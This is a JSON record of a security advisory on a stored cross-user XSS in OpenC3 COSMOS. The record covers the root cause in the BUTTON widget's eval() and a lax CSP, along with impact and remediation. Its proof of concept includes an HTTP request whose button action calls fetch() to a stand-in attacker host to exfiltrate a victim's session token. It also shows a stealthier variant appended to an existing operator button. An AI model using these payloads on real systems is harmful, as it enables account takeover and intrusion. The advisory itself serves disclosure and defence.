gvf2-2rh5-mpgf","title":"OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget","description":"## Summary\nA user who can save a telemetry **screen** (permission `system_set`) can embed JavaScript in a screen `BUTTON` widget. The `BUTTON` widget **`eval()`s the stored button text in the browser** when the button is activated, and screens are **shared content rendered to other users in the scope**. As a result, an attacker's stored JavaScript executes **in a different operator's authenticated session** — a **stored, cross-user XSS** (not self-XSS). The payload runs in the COSMOS origin and can read `localStorage.openc3Token` (the victim's session token), enabling **session/account takeover** and, via the victim's privileges, a path to server-side code execution through the Script Runner.\n\nThe site's Content-Security-Policy permits `'unsafe-inline'`/`'unsafe-eval'` (see \"Contributing factor\"), so the injected script runs unimpeded.\n\n- **Product:** OpenC3 COSMOS (Core; likely Enterprise — see scoping note)\n- **Affected version:** confirmed **7.2.0** (latest, tested 2026-06-25); the code path is present on `main`. Lower bound for maintainer to confirm.\n- **Reporter:** _Arpit Kubadia_ \n\n## Description \u0026 root cause\n1. **Screen save (the store):** `POST /openc3-api/screen` → `ScreensController#create` (`openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43`) persists the raw screen text after `authorization('system_set')`. No sanitization of the screen body.\n2. **The sink (the execution):** the `BUTTON` widget stores the button's action as its second parameter and **`eval()`s it on click** — `openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue:109`:\n   ```js\n   const lines = this.eval.split(';;')   // this.eval == parameters[1] from the stored screen\n   ...\n   const result = eval(lines[i].trim())  // attacker-controlled string -\u003e arbitrary JS in the victim's session\n   ```\n3. **Cross-user delivery:** screens are stored per-scope and rendered to **any** user who opens them (e.g. in Telemetry Viewer). So a screen saved by user A executes in user B's browser.\n4. **Contributing factor (CSP):** `openc3-traefik/traefik.yaml:63` sets `script-src 'unsafe-inline' 'unsafe-eval' https: blob: ...` on every SPA response, so the injected/eval'd script is not blocked. (Reportable as a hardening item in its own right.)\n\n## Proof of Concept\n\n### A. Minimal PoC — a button that steals the viewer's token (verified)\nAuthenticated as any user (Core) / a `system_set` user (Enterprise), store a screen:\n```\nPOST /openc3-api/screen HTTP/1.1\nHost: localhost:2900\nContent-Type: application/json\nAuthorization: ses_\u003cYOUR_TOKEN\u003e\nContent-Length: 224\n\n{\"scope\":\"DEFAULT\",\"target\":\"INST\",\"screen\":\"XSSPOC\",\"text\":\"SCREEN AUTO AUTO 1.0\\nLABEL \\\"Instrument Status\\\"\\nBUTTON 'Refresh' 'fetch(\\\"https://ATTACKER-COLLABORATOR/?t=\\\"+encodeURIComponent(localStorage.openc3Token))'\\n\"}\n```\n→ HTTP 200, body `true`. **Trigger (as the victim):** open `http://\u003chost\u003e:2900/tools/tlmviewer` → Target `INST`, Screen `XSSPOC` → click **Refresh**. The victim's session token is exfiltrated to `ATTACKER-COLLABORATOR`. *(Verified: an out-of-band request carrying a live `ses_…` token was received at the attacker host.)*\n\nA purely visual variant: replace the action with `alert(localStorage.openc3Token)`.\n\n### B. Realistic exploitation — hijack an EXISTING operational screen (no lure)\nThe minimal PoC needs the victim to open the attacker's screen. The realistic attack overwrites a screen operators **already use**, hiding the payload behind a button they **already click**:\n- The `BUTTON` action is `eval`'d after `this.eval.split(';;')`, so **appending `;; \u003cpayload\u003e` to an existing button keeps the original command working and adds the attacker's code**. The operator sees no change.\n- Example: take the stock `INST COMMANDING` screen's **`Start Collect`** button (which sends `api.cmd('INST COLLECT ...')`) and append:\n  ```\n  ... +\n  \" ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))\"\n  ```\n  Re-save the screen (`POST /openc3-api/screen`, same route). Now every operator who opens COMMANDING and clicks `Start Collect` during normal operations sends the real command **and** leaks their session token. No new button, no behavioral change, no social-engineering lure.\n\n## Impact\nThe injected script runs with the victim's session in the COSMOS origin. It can:\n- **Exfiltrate the victim's session token** (`localStorage.openc3Token`) → session/account takeover (the token is a bearer credential accepted in the `Authorization` header).\n- Act as the victim against the API, and — for a victim with script privileges — pivot to the **Script Runner** to achieve **server-side code execution** (the documented escalation chain).\nThis is **cross-user / persistent**: an attacker who can edit shared screens compromises the sessions of other operators viewing those screens, which is materially worse than self-XSS.\n\n## Remediation\n1. **Do not `eval()` screen-supplied strings.** Replace the `BUTTON` widget's `eval` with a constrained, non-`eval` command interface (an allow-listed API surface / safe expression evaluator), or sandbox it.\n2. **Tighten the CSP** (`openc3-traefik/traefik.yaml`): remove `'unsafe-inline'`/`'unsafe-eval'`, move to per-request `nonce` + `'strict-dynamic'`, add `object-src 'none'`, `base-uri 'self'`, `frame-ancestors 'self'`. This alone neutralizes injected inline/eval'd script.\n3. **Treat screens as untrusted, cross-user content** — escape/validate on render; consider gating screen-embedded JavaScript behind a dedicated, clearly-privileged capability rather than the general `system_set`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-23T21:24:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","references":["https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf","https://github.com/OpenC3/cosmos/pull/3560","https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3","https://github.com/OpenC3/cosmos/releases/tag/v7.3.0","https://github.com/advisories/GHSA-gvf2-2rh5-mpgf"],"source_kind":"github","identifiers":["GHSA-gvf2-2rh5-mpgf","CVE-2026-77394"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-23T22:00:10.898Z","updated_at":"2026-10-02T15:00:27.098Z","epss_percentage":0.0039,"epss_percentile":0.30571,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndmYyLTJyaDUtbXBnZs4AB6bm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ndmYyLTJyaDUtbXBnZs4AB6bm","packages":[{"ecosystem":"npm","package_name":"@openc3/vue-common","versions":[{"first_patched_version":"7.3.0","vulnerable_version_range":"\u003e= 5.0.6, \u003c= 7.2.1"}],"purl":"pkg:npm/%40openc3%2Fvue-common"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndmYyLTJyaDUtbXBnZs4AB6bm/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@openc3/vue-common","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@openc3/vue-common","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@openc3/vue-common/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-06T20:08:23.996Z","issues_count":1628,"pull_requests_count":2795,"avg_time_to_close_issue":6493406.99847793,"avg_time_to_close_pull_request":369935.13065326633,"issues_closed_count":1314,"pull_requests_closed_count":2587,"pull_request_authors_count":43,"issue_authors_count":203,"avg_comments_per_issue":1.845208845208845,"avg_comments_per_pull_request":2.049016100178891,"merged_pull_requests_count":2198,"bot_issues_count":1,"bot_pull_requests_count":570,"past_year_issues_count":376,"past_year_pull_requests_count":1129,"past_year_avg_time_to_close_issue":1855249.582278481,"past_year_avg_time_to_close_pull_request":384510.7065750736,"past_year_issues_closed_count":237,"past_year_pull_requests_closed_count":1019,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":56,"past_year_avg_comments_per_issue":1.5877659574468086,"past_year_avg_comments_per_pull_request":2.316209034543844,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":415,"past_year_merged_pull_requests_count":695,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/issues","maintainers":[{"login":"jmthomas","count":1565,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jmthomas"},{"login":"ryanmelt","count":644,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ryanmelt"},{"login":"gbonn","count":16,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gbonn"},{"login":"JL-Brothers","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/JL-Brothers"}],"active_maintainers":[{"login":"jmthomas","count":379,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jmthomas"},{"login":"ryanmelt","count":128,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ryanmelt"},{"login":"gbonn","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gbonn"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@openc3%2Fvue-common/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@openc3%2Fvue-common/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@openc3%2Fvue-common/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@openc3%2Fvue-common/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@openc3%2Fvue-common/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@openc3%2Fvue-common/codemeta","maintainers":[{"uuid":"ryanmelt","login":"ryanmelt","name":null,"email":"ryanmelt@gmail.com","url":null,"packages_count":5,"html_url":"https://www.npmjs.com/~ryanmelt","role":null,"created_at":"2024-12-11T01:34:20.763Z","updated_at":"2024-12-11T01:34:20.763Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/ryanmelt/packages"},{"uuid":"jmthomas","login":"jmthomas","name":null,"email":"jason@openc3.com","url":null,"packages_count":5,"html_url":"https://www.npmjs.com/~jmthomas","role":null,"created_at":"2025-06-05T20:52:45.288Z","updated_at":"2025-06-05T20:52:45.288Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/jmthomas/packages"},{"uuid":"ryan.pratt","login":"ryan.pratt","name":null,"email":"ryan.pratt@openc3.com","url":null,"packages_count":5,"html_url":"https://www.npmjs.com/~ryan.pratt","role":null,"created_at":"2025-06-05T20:52:44.643Z","updated_at":"2025-06-05T20:52:44.643Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/ryan.pratt/packages"}]}